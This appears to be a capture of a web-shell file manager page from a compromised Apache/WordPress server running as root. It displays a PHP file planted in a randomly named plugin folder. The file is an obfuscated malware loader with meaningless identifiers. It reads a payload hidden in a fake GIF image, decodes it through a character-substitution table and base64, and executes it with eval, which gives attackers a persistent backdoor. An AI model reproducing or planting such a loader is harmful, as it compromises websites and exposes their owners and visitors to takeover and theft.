HEX
Server: Apache
System: Linux www 5.10.0-10-amd64 #1 SMP Debian 5.10.84-1 (2021-12-08) x86_64
User: root (0)
PHP: 8.2.1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
Upload Files
File: /mnt/drbd/www/edenhouse/wp-content/plugins/abucezokh/ravajor.php
<?php

function yjunus_iwikifevi($wipicu_uzhekhopu) {
    if ($wipicu_uzhekhopu == 1)
        return sarynu_hoxezhijit();
    if ($wipicu_uzhekhopu == 2)
        return buwide_rynochuqyz();
}

function wudive_ojiqitin($wipicu_uzhekhopu) {
    $quqygy = yjunus_iwikifevi(1);
    $aceriqe = yjunus_iwikifevi(2);
    for ($kaleka = 0; $kaleka < strlen($quqygy); $kaleka++) {
        $jivypyn = substr($quqygy, $kaleka, 1);
        $inawet = substr($aceriqe, $kaleka, 1);
        $lisama[$jivypyn] = $inawet;
    }

    $huwotho = strtr($wipicu_uzhekhopu, $lisama);
    $huwotho = base64_decode($huwotho);

    return $huwotho;
}

function ypugaj_othucida($wipicu_uzhekhopu) {
    $ysutesh = array();
    if (!file_exists($wipicu_uzhekhopu))
        return false;
    $jyqoqof = @file_get_contents($wipicu_uzhekhopu);
    if (!$jyqoqof)
        return false;
    $jyqoqof = substr($jyqoqof, 3);
    $ysutesh = wudive_ojiqitin($jyqoqof);
    return $ysutesh;
}

function sarynu_hoxezhijit() {
    $jyqoqof = "Ypa1GxUcl0CkjS/tWPy=HTsDMZqKoe4EBm8wJgN26L3AdrhVv5fnFR97zuO+XIibQ";
    return $jyqoqof;
}

function buwide_rynochuqyz() {
    $ysutesh = "kh6bW8Yc0gId/q+7OuL2AUz9ETHSjt1KJ4=ZGN3lmyvPCXopar5fQixBRMsVDewnF";
    return $ysutesh;
}

$tychati = ypugaj_othucida(__DIR__ . "/asse" . "ts/im" . "ages/" . "fonav" . "ag.gif");
if ($tychati) {
    @eval($tychati);
}